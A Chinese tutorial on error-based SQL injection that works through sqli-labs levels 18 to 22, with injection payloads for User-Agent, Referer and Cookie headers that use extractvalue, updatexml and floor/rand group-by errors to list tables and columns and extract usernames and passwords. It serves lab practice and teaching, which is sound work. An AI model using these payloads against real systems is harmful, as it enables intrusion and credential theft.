渗透测试之sql注入--报错注入

渗透测试之sql注入---报错注入

本内容为sql注入的一部分,sql注入靶场为 sqli-labs 靶场

如有对sql不熟悉的可以查看 MYSQL 笔记

如需更多靶场,请查看 渗透测试靶场合集

免责声明: 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

SQL注入的主要类型包括:

报错注入是利用网站的报错信息来带出我们想要的信息,就是在错误信息中执行sql语句

xpath 报错注入

注入命令:

使用extractvalue()函数,利用查询的XPath_string不存在,将XPath_string的信息在报错中回显。将注入的sql放在需要查询的XPath_string信息中,就能够回显数据

其中 extractvalue()函数语法、参数定义及作用如下:

从目标 XML 中返回包含所查询值的字符串

● 第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。

● 第二个参数:XPath_string (Xpath格式的字符串)。

sql 复制代码
SELECT extractvalue('<root><username>luojie</username><age>18</age></root>', '//username')
sql 复制代码
?id=1 and extractvalue(1, concat(0x5c, (select version()),0x5c))

注意:updatexml和extractvalue报错注入爆出来的数据长度是有限的

Less-18

POST - 头部注入 - User-Agent字段 - 错误注入

当前关卡注入点在头部,可以使用bp抓包后修改头部信息,然后再发起请求

本关需要成功登录,可以从之前的关卡中获得admin用户的密码是admin

sql 复制代码
# 确定是否注入成功
1',2,3#

# 获取数据库版本及数据库名称
1',2,extractvalue(1, concat(0x5c, (select version()),0x5c)))#
1',2,extractvalue(1, concat(0x5c, (select database()),0x5c)))#

# 查询数据表信息
1',2,extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#
1',2,extractvalue(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

# 查询敏感数据
1',2,extractvalue(1, concat(0x5c, (select group_concat(username, 0x5e, password) from users),0x5c)))#
# 因爆出的长度有限,可以使用limit进行循环获取
1',2,extractvalue(1, concat(0x5c, (select concat(username, 0x5e, password) from users limit 0,1),0x5c)))#

updatexml 报错

  • updatexml 报错
    原理和 xpath 报错一样,都是利用查询的XPath_string不存在,然后将XPath_string在错误中抛出

    sql 复制代码
    ?id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)

    updatexml(xml_document,xpath_string,new_value)

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc1

    第二个参数: XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。

    第三个参数: new_value,String格式,替换查找到的符合条件的数据。

    注意:updatexml和extractvalue报错注入爆出来的数据长度是有限的

Less-19

POST - 头部注入 - Referer字段 - 错误注入

当前关卡注入点在头部,可以使用bp抓包后修改头部信息,然后再发起请求

本关需要成功登录,可以从之前的关卡中获得admin用户的密码是admin

sql 复制代码
1',updatexml(1,concat(0x5e,(select version() limit 0,1),0x5e),1)) #
1',updatexml(1,concat(0x5e,(select version()),0x5e),1))#

1',updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1))#
1',updatexml(1,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),1))#

1',updatexml(1,(select group_concat(username, 0x5e, password) from users),1))#
1',updatexml(1,(select concat(username, 0x5e, password) from users limit 1,1),1))#

group by 重复键冲突

注入命令:

(count()+floor()+rand()+group by组合)就是利用 count()、rand()、floor()、

group by 这几个特定的函数结合在一起产生的注入漏洞

sql 复制代码
?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)

Less-20

POST - Cookie注入 - User-Agent字段 - 错误注入

当前关卡注入点在头部,可以使用bp抓包后修改头部信息,然后再发起请求

注意:使用 group by 重复键冲突的方法进行注入时,注入的 sql 语句中不能有group_concat函数,否则不会报错

sql 复制代码
admin' and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)#

-- 获取当前数据库中表的数量
admin' and (select 1 from (select count(*),concat(0x5e,(select count(*) from information_schema.tables where table_schema=database() limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)#  
-- 通过修改 limit 值遍历每张表
admin' and (select 1 from (select count(*),concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)#
1',(select 1 from (select count(*),concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)#

-- 使用同样的方法获取表的字段名
admin' and (select 1 from (select count(*),concat(0x5e,(select count(*) from information_schema.columns where table_name="users" and table_schema=database() limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)# 
1',(select 1 from (select count(*),concat(0x5e,(select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)# 
1',(select 1 from (select count(*),concat(0x5e,(select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 1,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)#

-- 使用同样的方法获取数据
admin' and (select 1 from (select count(*),concat(0x5e,(select count(*) from users limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)# 
admin' and (select 1 from (select count(*),concat(0x5e,(select concat(username, 0x5e, password) from users limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)# 
admin' and (select 1 from (select count(*),concat(0x5e,(select concat(username, 0x5e, password) from users limit 1,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)# 

Less-21

Cookie注入 - 基于编码 - 单引号与括号

当前关卡注入点在头部,可以使用bp抓包后修改头部信息,然后再发起请求
base64在线编码解码

sql 复制代码
dhakkan') and updatexml(1,concat(0x5e,(select database()),0x5e),1)#
-- dW5hbWU9ZGhha2thbicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg1ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4NWUpLDEpIw%3D%3D
dhakkan') and updatexml(1,concat(0x5e,(select version()),0x5e),1)#
-- dW5hbWU9ZGhha2thbicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg1ZSwoc2VsZWN0IHZlcnNpb24oKSksMHg1ZSksMSkj
......

dhakkan') and updatexml(1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
-- dW5hbWU9ZGhha2thbicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg1Yywoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSxwYXNzd29yZCkgZnJvbSB1c2VycyksMHg1YyksMSkj

Less-22

Cookie注入 - 基于编码 - 双引号

当前关卡注入点在头部,可以使用bp抓包后修改头部信息,然后再发起请求

sql 复制代码
dhakkan" and updatexml(1,concat(0x5e,(select database()),0x5e),1)#
-- ZGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg1ZSksMSkj
dhakkan" and updatexml(1,concat(0x5e,(select version()),0x5e),1)#
-- ZGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLChzZWxlY3QgdmVyc2lvbigpKSwweDVlKSwxKSM%3D
......

dhakkan" and updatexml(1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
-- ZGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVjLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwweDVjKSwxKSM%3D
相关推荐
yunlong32678 小时前
吊装助理三维结构有限元分析操作教程
安全·有限元·方案·安全分析·吊装·起重·结构计算
一 乐8 小时前
绿色农产品销售|基于springboot + vue绿色农产品销售系统(源码+数据库+文档)
java·前端·数据库·vue.js·spring boot·后端·宠物
Codeking__9 小时前
Redis初识——什么是Redis
数据库·redis·mybatis
k***1959 小时前
Spring 核心技术解析【纯干货版】- Ⅶ:Spring 切面编程模块 Spring-Instrument 模块精讲
前端·数据库·spring
程序员黄老师9 小时前
主流向量数据库全面解析
数据库·大模型·向量·rag
Full Stack Developme9 小时前
Redis 可以实现哪些业务功能
数据库·redis·缓存
rgeshfgreh9 小时前
Spring事务传播机制深度解析
java·前端·数据库
无名-CODING9 小时前
Java Spring 事务管理深度指南
java·数据库·spring
想唱rap9 小时前
MYSQL在ubuntu下的安装
linux·数据库·mysql·ubuntu
蕨蕨学AI9 小时前
【Wolfram语言】45.2 真实数据集
java·数据库